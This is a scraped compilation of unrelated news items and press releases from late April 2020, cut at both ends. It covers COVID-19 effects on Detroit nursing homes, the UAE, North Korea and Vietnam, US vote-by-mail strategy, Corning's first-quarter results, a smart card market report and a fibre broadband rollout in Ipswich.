deaths were found. When Mayor Duggan launched the nursing home testing program last week, he said testing would be used to identify infected workers and to indicate which patients needed to be isolated from the rest of the population in the homes. However, his fellow Democrat, Governor Gretchen Whitmer, then issued an executive order that left patients with COVID-19 mostly in the same facilities, simply requiring some sort of isolation from healthy patients or transfer to a few regional hubs designated for COVID-19. Nurses, CNAs and aides working in these homes every day selflessly caring for some of the most vulnerable in society are suffering from these government half-measures which are designed to protect the profits of nursing home management and ownership. Nursing home workers have been working unsustainably long hours due to understaffing at their worksites even before the COVID-19 pandemic. Now with the pandemic hitting virtually every facility, the lives of the workers are being treated as expendable. Cost cutting and acute exploitation of the workforce is endemic to nursing homes. This extends to the churning that takes place between hospitals and long-term care facilities in recent years as hospitals have looked everywhere to maximize profits and cut costs and maximize high-value patients. These conditions have developed with the assistance of the Service Employees International Union (SEIU). The response of the SEIU to the coronavirus crisis has been focused on pressuring Governor Whitmer to provide more personal protective equipment. At the same, the SEIU has praised the governors plan to convene a committee to investigate the disproportionate number of deaths and disease among African American residents in Michigan. The unions representing nursing home working are working with the Democrats and using identity politics to cover up their joint responsibility for four decades of inequality, poverty and cuts in health care in the city of Detroit. The United Arab Emirates has requested the government to send Indian doctors and nurses to help the Emirates fight the Covid-19 pandemic, a senior government official said on Tuesday. The UAE, a federation of seven emirates with a population of less than 10 million people, has already reported 11,000 Covid-19 cases and has been adding an average of 500 patients every day. It relies heavily on foreign-educated doctors and paramedics including those from India to staff its hospitals. Some of them were on leave when governments in Delhi and Abu Dhabi cancelled all commercial flights to stop the coronavirus diseases from spreading their respective countries. We have received two requests. One, to allow the healthcare providers who were travelling to India when commercial flights were cancelled to return to UAE to resume their duties, a top government functionary told Hindustan Times. The second, is permission to hire or avail the services of doctors and nurses for a shorter duration to tide over the immediate crisis. The requests are being considered of the government, the official said. Officials said Abu Dhabi had offered to send a special plane to fly the Indian healthcare professionals employed by its hospitals. Also Watch: Pakistans terror tactic amid Covid-19 crisis explained Considering the nature of the relationship between the two countries, the first request is likely to be processed first, another official said. The request for additional doctors and paramedical staff, however, requires wider consultations within the government, the official said. The decision would be made after evaluating Indias requirements at this stage. But the effort is to find a way out to help UAE at this crucial juncture. Just a fortnight back, India had sent a 15-member team of military doctors and paramedics to Kuwait and promised to deploy more personnel should the need arise. These gestures, a foreign ministry official said, should be seen against the backdrop of how ties between India and the Gulf countries had deepened over the last five-six years. Right from the beginning of the NDA governments first term, Prime Minister Narendra Modi and his key advisers have invested diplomatic energy in improving ties with countries in West Asia, particularly Saudi Arabia, UAE, Jordan, Bahrain, Qatar and Oman In 2015, Narendra Modi was the first Indian PM to visit the UAE - also home to 3.4 million Indian workers - in over three decades. In all, the six Gulf countries - Saudi Arabia. Kuwait, Oman, Qatar and Bahrain - have about 12.6 million Indians. The personal relations started paying off within a few years when National Security Adviser Ajit Doval was able to persuade the Gulf countries to either push out anti-Indian elements or send them over to India. It was a reflection of this high-octane diplomacy at work that Dubai handed over Dawood Ibrahim associate and 1993 Mumbai blasts accused, Mohammed Farooq and Saudi Arabia deported Lashkar-e-Taiba operative Habibur Rahman. In all, over a 100 wanted persons have been deported to India by the Gulf countries over the last six years. Last year, UAE allowed Indian agencies to fly out AgustaWestland case accused Rajiv Saxena and prominent aviation lobbyist Deepak Talwar in a special plane. More recently, UAE made an exception for Indians when it started packing off foreign nationals from nearly every other country including Pakistan after the outbreak of coronavirus disease. Since state governments in India werent geared up to accommodate the Indian citizens abroad, the Indian government had requested to take care of them for some more time. India, on its part, had assured the Gulf countries that New Delhi would maintain uninterrupted supply of food and essential items from India. SHARE THIS ARTICLE ON Coronavirus has campaigns rushing to put voting by mail at the center of their general election strategies and some Republicans worry theyve already fallen behind, as President Donald Trump dismisses the method and drives doubt about mail voting among the GOP base. Multimillion dollar programs urging mail voting in November are already coming together, as both parties envision a social-distancing election featuring a spike in absentee ballots, according to interviews with more than a dozen campaign strategists, party committees and outside groups. Organizing Together, a field-focused group founded by Obama alumni, is partnering with Priorities USA, the Democratic super PAC blessed by Joe Bidens campaign, to air digital ads in battleground states educating voters on how to cast ballots by mail. The Democratic National Committee called vote-by-mail programs a top priority. But while conservative campaigns and groups like Americans for Prosperity are planning to pump more spending into their own mail programs to drive turnout, there is growing concern among Republicans that this months Wisconsin elections which saw Democrats capture a state Supreme Court seat after pivoting aggressively to encourage supporters to vote by mail demonstrate a lack of Republican readiness to wage a campaign dominated by absentee ballots. One Republican consulting firm is already developing models that forecast voters interest in (or skepticism of) voting by mail, while another GOP firm sent a memo to campaigns urging them that now is the time to push early and absentee voting. Wisconsin was the stress test on this issue, and its clear that Republicans need to get serious, said one Wisconsin Republican, granted anonymity to discuss the issue candidly. This Republican acknowledged the party was outmatched by Democrats efforts on chasing down ballots. We have to overcome our instinctive hesitation and become more effective at it. Story continues The hesitation is being driven from the top. Trump has dismissed mail voting as ripe for fraud, even though studies have found that voter fraud is rare. Mail ballots, they cheat. Mail ballots are very dangerous for this country because of cheaters, Trump said during a White House briefing earlier this month. GOP campaign professionals largely know they cant abandon it amid a pandemic but they also know how important it is to the base to stick with the president. The instruction manual says, Dont publicly disagree with the president, but do whatever you need to do, said former Rep. Carlos Curbelo (R-Fla.). Certainly in Florida, I can assure you, the Republican Party and all Republican campaigns are going to be pursuing mail voting very aggressively. Operatives are focusing on the 34 states where registered voters can request an absentee ballot for any reason, particularly those states that only recently eased those requirements, like key battlegrounds Michigan and Pennsylvania. They pointed to the evidence out of Wisconsin, where more than two-thirds of voters cast ballots by mail even without any changes to election administration policy. Michigan and Pennsylvania could see similar jumps in mail-ballot participation depending on social-distancing requirements this fall. Well certainly see a much higher percentage of voting by mail [in 2020] than we saw in November 2016, which was less than 30 percent, said Tanya Bjork, Organizing Togethers Wisconsin state director. Groups like us are going to be leaning into getting people to vote by mail more aggressively. But voters in Michigan or Pennsylvania, new to the loosened absentee system, need to be educated on it, said John Brabender, a Republican strategist based in Pennsylvania. He said it changes costs, it changes targeting, it changes timing of messages, and it goes from voter persuasion to also voter education. Wisconsin was a wake-up call, and wed better learn from it, said Brabender, who is working on several all-mail Republican primaries slated for June. Former National Republican Congressional Committee Chairman Tom Davis said the partys assumption is that mail-in ballots help Democrats, and thatll be true until Republicans figure out how to deal with it, adding that the problem is that [Republicans] are not used to employing this. In some states, little is likely to change. In two key Senate states Colorado, which has universal vote by mail, and Arizona, where a substantial portion of the electorate vote by mail campaigns were already focused on these tactics. I think theres a wrong mythology that its bad for Republicans, said Josh Penry, a Republican strategist based in Colorado, which moved to an all-mail voting system in 2013. Penry pointed to state legislative victories for Republicans in recent cycles on the strength of their mail programs. And nationally, Republican campaigns are quietly moving along with plans to encourage their voters to take advantage of voting by mail in key states. Campaigns could use primaries as beta test programs for November, while there are also a lot of conversations at the party level to ensure that campaigns are preparing themselves, said Josh Holmes, a top adviser to Senate Majority Leader Mitch McConnell. Most campaigns have some element of ballot chasing and they have some level of expertise in it, Holmes said. It's just about scaling it up. In both parties, best practices from states accustomed to vote-by-mail will likely be adopted elsewhere. Vote-by-mail will be a big piece of what we do in the states in 2020, said Ashley Walker, national campaigns director for For Our Future, a progressive organization that does field organizing work in battleground states. She said the group will replicate its best practices in states like Florida, where a third of voters mail in their ballots, to states where its not as part of the culture, educating voters on how they can do it in this moment, she said. Americans for Prosperity President Tim Phillips said his group is absolutely going to up the percentage of dollars that go into absentee and early voting, where they run grassroots programs in dozens of competitive congressional races. Phillips said their own program in Wisconsin was successful in getting their identified voters to request and complete absentee ballots. While there is uncertainty for conditions in November, there is a heightened urgency for candidates facing primaries soon. Some Democratic candidates backed by the national party, including Sara Gideon in Maine and Theresa Greenfield in Iowa, have summer primaries and have used social media and dedicated web pages to encourage their voters to request absentee ballots and educate them on the process. Sarah Riggs Amico, one of the Democrats in Georgias June Senate primary, recently updated her website to include a guide to absentee voting by mail. Teresa Tomlinson, another Democrat in the primary, said her campaign is pressing voters about returning absentee ballot requests, which were mailed to all the states voters. She said in an interview that explaining the mechanics of absentee voting was critically important the same message primary rival Jon Ossoff told campaign volunteers via video conference earlier this month. Our field team is reaching out to every voter who has requested a Democratic absentee ballot, and were encouraging all our supporters to vote by mail, said Ellen Foster, Ossoffs campaign manager. For campaigns, shifting to a heavy emphasis on vote-by-mail will scramble spending schedules and expand the length of time they need to be communicating with voters. It also requires new tactics for picking up ballots, as volunteers may not be able to door-knock for ballot retrieval a strategy allowed in some states. You move up your spending, use more of your money sooner, said Corry Bliss, a Republican strategist. But he said for most campaigns, those changes will come in the summer, when its clear what the rules of engagement will be in November. In the meantime, operatives stress that down-ballot campaigns should prepare early and not rely on national organizations to fill the gaps on field work, particularly in House races outside the presidential battleground states. IMGE, a Republican digital firm, drafted a memo encouraging candidates to push early and absentee voting by having draft emails, social media posts and phone messages ready in advance of potential changes in election details, and to go back to the drawing board on get out the vote, investing in tutorials explaining new processes to voters. As a down-ballot race, you cant control the movement of a nationwide vote-by-mail effort, said Samantha Steelman, an organizing director for Pete Buttigiegs presidential campaign who is advising House campaigns to have those materials ready. Thats why its critical for campaigns at all levels to start educating voters now on their voting options in their state and not wait for national groups. [April 27, 2020] Smart Card IC Market 2019-2023 | Demand for Contactless Smart Cards to Boost Growth | Technavio Technavio has been monitoring the smart card IC market and it is poised to grow by USD 1.79 bn during 2019-2023, progressing at a CAGR of over 8% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200427005631/en/ Technavio has announced its latest market research report titled Global Smart Card IC Market 2019-2023 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Infineon Technologies AG, NXP Semiconductors (News - Alert) NV, ON Semiconductor Corp., Samsung Electronics Co. Ltd., and STMicroelectronics NV are some of the major market participants. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Demand for contactless smart cards has been instrumental in driving the growth of the market. Smart Card IC Market 2019-2023 : Segmentation Smart Card IC Market is segmented as below: Application Telecommunication Financial Government Transportation Others Microprocessor Architecture 16-bit 32-bit Geographic Landscape APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR31881 Smart Card IC Market 2019-2023 : Scope Technavio presents a detailed picture of te market by the way of study, synthesis, and summation of data from multiple sources. Our smart card IC market report covers the following areas: Smart Card IC Market Size Smart Card IC Market Trends Smart Card IC Market Industry Analysis This study identifies integration of smart cards with blockchain as one of the prime reasons driving the smart card IC market growth during the next few years. Smart Card IC Market 2019-2023 : Vendor Analysis We provide a detailed analysis of around 25 vendors operating in the smart card IC market, including some of the vendors such as Infineon Technologies AG, NXP Semiconductors NV, ON Semiconductor Corp., Samsung Electronics Co. Ltd., and STMicroelectronics (News - Alert) NV. Backed with competitive intelligence and benchmarking, our research reports on the smart card IC market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Smart Card IC Market 2019-2023 : Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist smart card IC market growth during the next five years Estimation of the smart card IC market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the smart card IC market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of smart card IC market vendors Table Of Contents : PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT 2.1 Preface 2.2 Preface 2.3 Currency conversion rates for US$ PART 03: MARKET LANDSCAPE Market ecosystem Market characteristics Market segmentation analysis PART 04: MARKET SIZING Market definition Market sizing 2018 Market size and forecast 2018-2023 PART 05: FIVE FORCES ANALYSIS Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition PART 06: MARKET SEGMENTATION BY APPLICATION Market segmentation by application Comparison by application Telecommunication - Market size and forecast 2018-2023 Financial - Market size and forecast 2018-2023 Government - Market size and forecast 2018-2023 Transportation - Market size and forecast 2018-2023 Others - Market size and forecast 2018-2023 Market opportunity by application PART 07: CUSTOMER LANDSCAPE PART 08: MARKET SEGMENTATION BY MICROPROCESSOR ARCHITECTURE Market segmentation by microprocessor architecture Comparison by microprocessor architecture 16-bit - Market size and forecast 2018-2023 32-bit - Market size and forecast 2018-2023 Market opportunity by microprocessor architecture PART 09: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison APAC - Market size and forecast 2018-2023 Europe - Market size and forecast 2018-2023 North America - Market size and forecast 2018-2023 South America - Market size and forecast 2018-2023 MEA - Market size and forecast 2018-2023 Key leading countries Market opportunity PART 10: DECISION FRAMEWORK PART 11: DRIVERS AND CHALLENGES Market drivers Market challenges PART 12: MARKET TRENDS Robust demand for dual-interface cards Use of biometrics in smart cards Integration of smart cards with blockchain PART 13: VENDOR LANDSCAPE Overview Landscape disruption Competitive scenario PART 14: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors Infineon Technologies AG NXP Semiconductors NV ON Semiconductor Corp. (News - Alert) Samsung Electronics Co. Ltd. STMicroelectronics NV PART 15: APPENDIX Research methodology List of abbreviations Definition of market positioning of vendors PART 16: EXPLORE TECHNAVIO About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005631/en/ [ Back To TMCnet.com's Homepage ] Students wearing a face mask have their temperature checked as a precaution against a new coronavirus as their university reopened following vacation, at Kim Chaek University of Technology in Pyongyang, Wednesday, April 22, 2020. North Korea has extended its COVID-19 national emergency to the end of the year in anticipation that the global pandemic will continue, raising concerns among residents that keeping the border with China closed will deal a serious blow to the economy. On the 23rd, the Central Party ordered the provincial quarantine command to extend the national emergency quarantine posture through the end of the year, a senior official in North Pyongan province, who requested anonymity due to fear of reprisal, told RFAs Korean Service on April 26. [They] ordered stronger quarantine measures in response to the prolonged outbreak, the source said. The source said that the order was part of follow-up measures after the Politburo of the party convened to discuss the global pandemic April 11. The national emergency quarantine posture for the coronavirus has been designated again as a matter of grave concern for the country, the source said. As a result, the resumption of border trade and maritime trade, which has been blocked for months, has been postponed without any promise [of reopening], the source said. The decision will add to the hardships already being endured by North Koreans who make their living by trading with China. Another source who requested anonymity to speak freely, from Ryongchon, North Pyongan, told RFA Monday that his manufacturing business would take a hit. My Chinese partner and I agreed to resume our clothing toll manufacturing business around June when the weather gets warmer and the coronavirus situation calms down, the second source said. Toll manufacturing entails processing raw materials or unfinished goods, mostly for Chinese companies. But now with the extension of the national emergency, many foreign currency earning workers are quite disappointed because we dont know when border trade will resume, the source added. The second source told RFA that all eyes are on the border, because so many depend on trade with China to make a living. We still need to wait and see about when the Dandong-Sinuiju border crossing will open up. The toll processing business, which brings in raw materials through Sinuiju customs, is likely to resume at the end of this year, the second source said. This crisis has left the border closed for so long, shaking the economy of this country that relies so heavily on imports [from China], the second source added. The second source was critical of the party for discussing measures to extend the emergency to prevent the spread of the virus without addressing the economic situation. Without [solutions], it raises the question about whether they only think the only urgent matter is protecting themselves from the coronavirus, said the second source. Emergency quarantine commanders in each region are preparing another propaganda campaign aimed at stopping the virus. They fear that the residents support of the quarantine project will wane as the project drags on, the second source said. It is good that they are taking [extensive] measures to deal with the coronavirus, but no one knows what the starving people will do when their living difficulties reach their limit due to the long-term border closure. RFA asked World Health Organization (WHO) Monday about the status of North Korea regarding confirmed COVID-19 patients. The WHO referred to their official weekly report issued April 17, which states that there are no confirmed cases in North Korea. North Korean state media maintains that North Korea is coronavirus free, but RFA reported April 17 that North Korean authorities told residents during community lectures that the virus was spreading in three areas of the country, including the capital Pyongyang. Reported by Hyemin Son for RFAs Korean Service. Translated by Leejin Jun. Written in English by Eugene Whong. CORNING, N.Y. , April 28, 2020 (GLOBE NEWSWIRE) -- Corning Incorporated (NYSE: GLW) today announced results for first-quarter 2020. GAAP sales were $2.4 billion; core sales were $2.5 billion GAAP EPS was $(0.16); core EPS was $0.20 GAAP net loss was $96 million; core net income was $177 million The primary difference between GAAP and core results was non-cash charges related to capacity realignment and cash severance payments Given the economic uncertainty and disruption created by COVID-19, the company is withdrawing its full-year 2020 guidance. In response to the pandemic , the company has been and will continue focusing actions on three core priorities: preserving the financial strength of the company, protecting employees and communities, and delivering on customer commitments. Wendell P. Weeks, chairman and chief executive officer, said: Were keeping our company strong throughout this difficult period. Guided by our Values, Corning is acting compassionately and systematically to support our stakeholders in multiple ways. Weve prioritized the safety of our employees, workplaces, and communities while delivering for customers and contributing to public-health and economic-relief efforts. I am proud of our employees dedication to executing on all these fronts. Weve built Corning to survive difficult circumstances across three centuries, our people have persevered and succeeded through world wars, natural disasters, and economic catastrophes. We are confident in our ability to manage through the current challenges while maintaining our financial strength and growth prospects. We, like all companies, are being impacted by the escalating global economic and health consequences of the pandemic. In the first quarter we took actions to navigate through these unprecedented times and will take additional actions in the second quarter, Weeks continued. Preserving Financial Health In the first quarter, our businesses held up well, as we effectively executed our strategy despite the growing impact of COVID-19, said Tony Tripeny, executive vice president and chief financial officer. Importantly, were operating on a strong financial foundation, keeping ourselves positioned for long-term growth and adjusting to near-term conditions, Tripeny continued. Anticipating lower sales, we are adjusting our operating plan to reduce costs and capital spending. We have essentially no debt coming due over the next two years, and we expect to maintain a strong cash balance and generate positive free cash flow for the year. We plan to maintain our dividend and have paused share buybacks. We are committed to preserving the financial strength of the company. First-Quarter 2020 Results and Comparisons (In millions, except per-share amounts) Q1 2020 Q4 2019 % change Q1 2019 % change GAAP Net Sales $ 2,391 $ 2,817 (15 %) $ 2,812 (15 %) GAAP Net (Loss) Income $ (96 ) $ 32 ** $ 499 ** GAAP EPS $ (0.16 ) $ 0.01 ** $ 0.55 ** Core Sales* $ 2,529 $ 2,851 (11 %) $ 2,850 (11 %) Core Net Income* $ 177 $ 406 (56 %) $ 365 (52 %) Core EPS* $ 0.20 $ 0.46 (57 %) $ 0.40 (50 %) *Core performance measures are non-GAAP financial measures. The reconciliation between GAAP and non-GAAP measures is provided in the tables following this news release, as well as on the companys website. **Not Meaningful First-Quarter Segment Results Display Technologies Q1 2020 Q4 2019 % change Q1 2019 % change Net Sales $ 751 $ 795 (6 %) $ 818 (8 %) Net Income Before Tax $ 192 $ 227 (15 %) $ 263 (27 %) Net Income $ 152 $ 180 (16 %) $ 208 (27 %) In Display Technologies, first-quarter sales were $751 million, and net income was $152 million. Display glass market first-quarter volume grew by a low-single digit percentage sequentially, and Cornings volume was down by a low-single digit percentage, both as expected. Sequential price declines were moderate. Optical Communications Q1 2020 Q4 2019 % change Q1 2019 % change Net Sales $ 791 $ 903 (12 %) $ 1,064 (26 %) Net Income Before Tax $ 37 $ 81 (54 %) $ 181 (80 %) Net Income $ 29 $ 62 (53 %) $ 142 (80 %) In Optical Communications, first-quarter sales of $791 million were consistent with management expectations. The business continues to adjust its cost structure to match near-term sales. Environmental Technologies Q1 2020 Q4 2019 % change Q1 2019 % change Net Sales $ 320 $ 374 (14 %) $ 362 (12 %) Net Income Before Tax $ 44 $ 81 (46 %) $ 70 (37 %) Net Income $ 35 $ 64 (45 %) $ 55 (36 %) In Environmental Technologies, vehicle manufacturers suspended production in key markets. As a result, first-quarter sales were down 12% year over year and below management expectations. Profitability was impacted by lower volume. Specialty Materials Q1 2020 Q4 2019 % change Q1 2019 % change Net Sales $ 352 $ 453 (22 %) $ 309 14 % Net Income Before Tax $ 65 $ 119 (45 %) $ 62 5 % Net Income $ 51 $ 94 (46 %) $ 49 4 % Specialty Materials first-quarter sales of $352 million exceeded expectations. Sales increased 14% year over year due to strong demand for premium glasses, other Gorilla Glass innovations, and Advanced Optics products. Life Sciences Q1 2020 Q4 2019 % change Q1 2019 % change Net Sales $ 258 $ 256 1 % $ 243 6 % Net Income Before Tax $ 48 $ 49 (2 %) $ 39 23 % Net Income $ 38 $ 38 $ 31 23 % Life Sciences first-quarter sales of $258 million were in line with expectations, up 6% year over year. Net income was up 23% year over year, driven by higher sales volume and manufacturing performance optimization. Upcoming Investor Events On May 13, Corning will attend the J.P. Morgan Global Technology, Media and Communications Conference. And June 2, Corning will attend the Bank of America Global Technologies Conference. Both will be virtual conferences. First-Quarter Conference Call Information The company will host a first-quarter conference call on Tuesday, April 28, at 8:30 a.m. EST. To participate, please call toll free (877) 226-8216 or for international access, call (409) 207-6983 approximately 10 to 15 minutes prior to the start of the call. The Access Code is 165320. To listen to a live audio webcast of the call, go to Cornings website at http://www.corning.com/investor_relations , click Events, and follow the instructions. Presentation of Information in this News Release Non-GAAP financial measures are not in accordance with, or an alternative to, U.S. generally accepted accounting principles (GAAP). Cornings non-GAAP financial measures exclude the impact of items that are driven by general economic conditions and events that do not reflect the underlying fundamentals and trends in the companys operations. The company believes presenting non-GAAP financial measures assists in analyzing financial performance without the impact of items that may obscure trends in the companys underlying performance. Definitions of these non-GAAP financial measures and reconciliations of these non-GAAP financial measures to the most directly comparable GAAP financial measures can be found on the Companys website by going to the Investor Relations page and clicking Quarterly Results under the Financials and Filings tab. These reconciliations also accompany this news release. Caution Concerning Forward-Looking Statements This press release contains forward-looking statements (within the meaning of the Private Securities Litigation Reform Act of 1995), which are based on current expectations and assumptions about Cornings financial results and business operations, that involve substantial risks and uncertainties that could cause actual results to differ materially. These risks and uncertainties include: the duration and severity of the recent COVID-19 (coronavirus) outbreak, and its ultimate impact across our businesses on demand, operations and our global supply chains; the effects of acquisitions, dispositions and other similar transactions by the Company, the effect of global business, financial, economic and political conditions; tariffs and import duties; currency fluctuations between the U.S. dollar and other currencies, primarily the Japanese yen, New Taiwan dollar, euro, Chinese yuan, and South Korean won; product demand and industry capacity; competitive products and pricing; availability and costs of critical components and materials; new product development and commercialization; order activity and demand from major customers; the amount and timing of our cash flows and earnings and other conditions, which may affect our ability to pay our quarterly dividend at the planned level or to repurchase shares at planned levels; possible disruption in commercial activities due to terrorist activity, cyber-attack, armed conflict, political or financial instability, natural disasters, or major health concerns; unanticipated disruption to equipment, facilities, IT systems or operations; effect of regulatory and legal developments; ability to pace capital spending to anticipated levels of customer demand; rate of technology change; ability to enforce patents and protect intellectual property and trade secrets; adverse litigation; product and components performance issues; retention of key personnel; customer ability, most notably in the Display Technologies segment, to maintain profitable operations and obtain financing to fund their ongoing operations and manufacturing expansions and pay their receivables when due; loss of significant customers; changes in tax laws and regulations including the Tax Cuts and Jobs Act of 2017; and the potential impact of legislation, government regulations, and other government action and investigations. For a complete listing of risks and other factors, please reference the risk factors and forward-looking statements described in our annual reports on Form 10-K and quarterly reports on Form 10-Q. Forward-looking statements speak only as of the day that they are made, and Corning undertakes no obligation to update them in light of new information or future events. Web Disclosure In accordance with guidance provided by the SEC regarding the use of company websites and social media channels to disclose material information, Corning Incorporated (Corning) wishes to notify investors, media, and other interested parties that it uses its website ( http://www.corning.com/worldwide/en/about-us/news-events.html ) to publish important information about the company, including information that may be deemed material to investors, or supplemental to information contained in this or other press releases. The list of websites and social media channels that the company uses may be updated on Cornings media and website from time to time. Corning encourages investors, media, and other interested parties to review the information Corning may publish through its website and social media channels as described above, in addition to the companys SEC filings, press releases, conference calls, and webcasts. About Corning Incorporated Corning (www.corning.com) is one of the world's leading innovators in materials science, with a 169-year track record of life-changing inventions. Corning applies its unparalleled expertise in glass science, ceramic science, and optical physics along with its deep manufacturing and engineering capabilities to develop category-defining products that transform industries and enhance people's lives. Corning succeeds through sustained investment in RD&E, a unique combination of material and process innovation, and deep, trust-based relationships with customers who are global leaders in their industries. Corning's capabilities are versatile and synergistic, which allows the company to evolve to meet changing market needs, while also helping our customers capture new opportunities in dynamic industries. Today, Corning's markets include mobile consumer electronics, optical communications, automotive technologies, life sciences technologies, and display technologies. Media Relations Contact: M. Elizabeth Dann (607) 974-4989 dannme@corning.com Investor Relations Contact: Ann H.S. Nicholson (607) 974-6716 nicholsoas@corning.com Hanover, Bentinck and Brant Agricultural Society General Manager Steve Fitzsimmons has said that it would be "unprecedented" if the 2020 live meet at Hanover Raceway is forced to be cancelled due to the COVID-19 pandemic. Fitzsimmons' comments have come during a recent discussion with The Recorder & Times. During the discussion, Fitzsimmons noted that Hanover has annually hosted a meet of live racing since 1964 and that a cancellation would be a first for the track. Hanover's 15-date meet is scheduled to be conducted on Saturdays from June 6 to September 19. Fitzsimmons has said that Hanover will fall in line whatever directives Ontario gives, but that organizers are hoping to get the 2020 meet in. Well follow all the provincial guidelines to determine whether we will race or not, said Fitzsimmons. (With files from The Recorder & Times) Tuesday, April 28th, 2020 (8:36 am) - Score 3,110 Full fibre developer Cityfibre appears to have recently started the build phase of their new 1Gbps capable Fibre-to-the-Home (FTTH) based broadband ISP network in the Suffolk (England) town of Ipswich, which is expected to cost the operator around 24 million to complete by the autumn of 2022. Yesterday we reported that another Suffolk town Bury St Edmunds had recently started its FTTH build under Cityfibres commercial investment (here). Similarly Ipswichs new network will also be underpinned by the same 114km long Dark Fibre network, which was constructed as part of an earlier (separate) agreement to connect public sector sites across 10 of the countys towns with the support of public funding (here). NOTE: Cityfibre tends to target 85%+ coverage of every UK city or town they enter, but so far they havent said exactly how many premises will benefit in Ipswich. As usual all of this forms part of the operators wider 4bn UK investment project, which aims to cover around 1 million homes and businesses by the end of 2021 and then 8 million in the future (expected to be largely completed by the end of 2025). At present some 62 UK cities and towns have been identified for their roll-out plan (here) and we expect this to hit 100+ in the future, once the FibreNation plan has been fully integrated. The 24m FTTH build in Ipswich is being supported by civil engineering partner VolkerSmart Technologies, which only secured the contract at the end of February 2020. Meanwhile reports from local residents have now helped us to confirm that local construction work has recently begun, which initially seems to focus on the central north western half of the town (pictured top). Cityfibre also appears to be making some use of Openreachs (BT) existing telegraph poles (PIA / DPA), as can be seen in the adjacent picture. Otherwise the main works are expected to include excavating 300,000m of new trenches and installing ducting, before blowing, splicing and finally testing the new fibre optic cables. In terms of local competition, Virgin Medias soon-to-be 1Gbps capable broadband network already covers the vast majority of the town, while Openreachs rival FTTP network only exists in a few tiny patches but they do have a sizeable level of hybrid fibre G.fast coverage (330Mbps capable for some but real speeds are often much slower). As usual Cityfibres new network will be sold to local homes via Vodafones comparatively cheap UK ISP Gigafast Broadband packages (set to be joined by TalkTalk in the future). Your browser does not support the audio element. As the impacts of the novel coronavirus disease (COVID-19) pandemic are felt across all aspects of the society, the best qualities of the Vietnamese people shine through: perseverance, altruism, and selflessness in times of hardship. The peaceful life of Thuy Ai and her husband Nguyen Phan, of Binh Chanh District in Ho Chi Minh City, was turned upside down from the onset of the unprecedented outbreak of COVID-19. At first, the kindergarten teacher lost her job when her school was shuttered after Tet, or the Lunar New holiday, in early February. Nearly two months later, Phan, a taxi driver, was also furloughed as the city began banning all taxis from April as part of enhanced social distancing measures to curb the spread of the virus. But living expenses do not just pay themselves, and a day without income meant a day eating into their savings for the couple. Ai quickly dabbed her feet into running a food stand selling banh mi (Vietnamese stuffed baguette), banh uot (steamed rice batter served with sweetened fish sauce) and banh trang tron (rice paper salad), while Phan became her deliveryman aside from working as a day laborer at construction sites. Despite their own struggles, Ai and Phan spend a large part of their time these days helping benefactors locate those less fortunate in their neighborhood in Binh Hung Commune, Binh Chanh District for charity trips to give away food and presents. The intact leaves protect the tattered ones is a Vietnamese proverb that encapsulates the altruistic nature of the people. Ai and Phan are the perfect embodiment of that characteristic, but they are by no means the only ones. Many other Vietnamese citizens are ready to give help to someone who may be in difficult circumstances without seeking any benefits for themselves during the ongoing pandemic. Vietnamese couple Thuy Ai (left) and Nguyen Phan (second left) give away food and presents to the poor and disadvantaged in Binh Hung Commune, Binh Chanh District, Ho Chi Minh City, Vietnam. Photo: Tu Trung / Tuoi Tre Trieu Van Son (right) gives a bag of rice to a woman in need on Nguyen Son Street in Tan Phu District, Ho Chi Minh City, Vietnam. Photo: Tu Trung / Tuoi Tre Tu Ngoc (right) helps her husband, 68-year-old Pham Duy Duc, who suffers from heart disease, change clothes at their small house in Ho Chi Minh City, Vietnam. Photo: Tu Trung / Tuoi Tre Nguyen Nghiem Quang (right), leader of a civil group in Tan Binh District, Ho Chi Minh City, Vietnam, makes a list of disadvantaged people who need help in his neighborhood to help them access much-needed support. Photo: Tu Trung / Tuoi Tre Dang Kim Lu, who has been furloughed as a textile factory worker because of the COVID-19 pandemic, makes strings for a Chinese sausage factory to earn money. Photo: Tu Trung / Tuoi Tre Volunteers donate food to a charity in District 4, Ho Chi Minh City, Vietnam that cooks lunch for the local poor. Photo: Tu Trung / Tuoi Tre Benefactors donate uncooked rice to a charitable foundation in District 10, Ho Chi Minh City, Vietnam to help those in need. Photo: Tu Trung / Tuoi Tre Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Covid-19, also known as coronavirus, has raised a number of challenges across the globe; practically in different spheres of administration, border crossings, health services, civic behaviour, technology diplomacy and so on. Country after country is struggling with the tough choice between saving lives vs saving livelihoods. Whether they should place the country under a lockdown, if so, for what duration, should the entire country be locked down or only few regions, whether it should be a total lockdown that mirrors a curfew or some essential activities should be exempted. These are some of the questions which are frequently being discussed. In a large and diverse country such as India, the challenges are even more complicated, particularly when public health is not a central or even a concurrent subject but purely a state subject. Entry 6 of the List II (State List) of the seventh Schedule of the Constitution clearly mentions 6. Public health and sanitation, hospitals and dispensaries. However, a question of public health cannot, and should not, be discussed in isolation from the broader 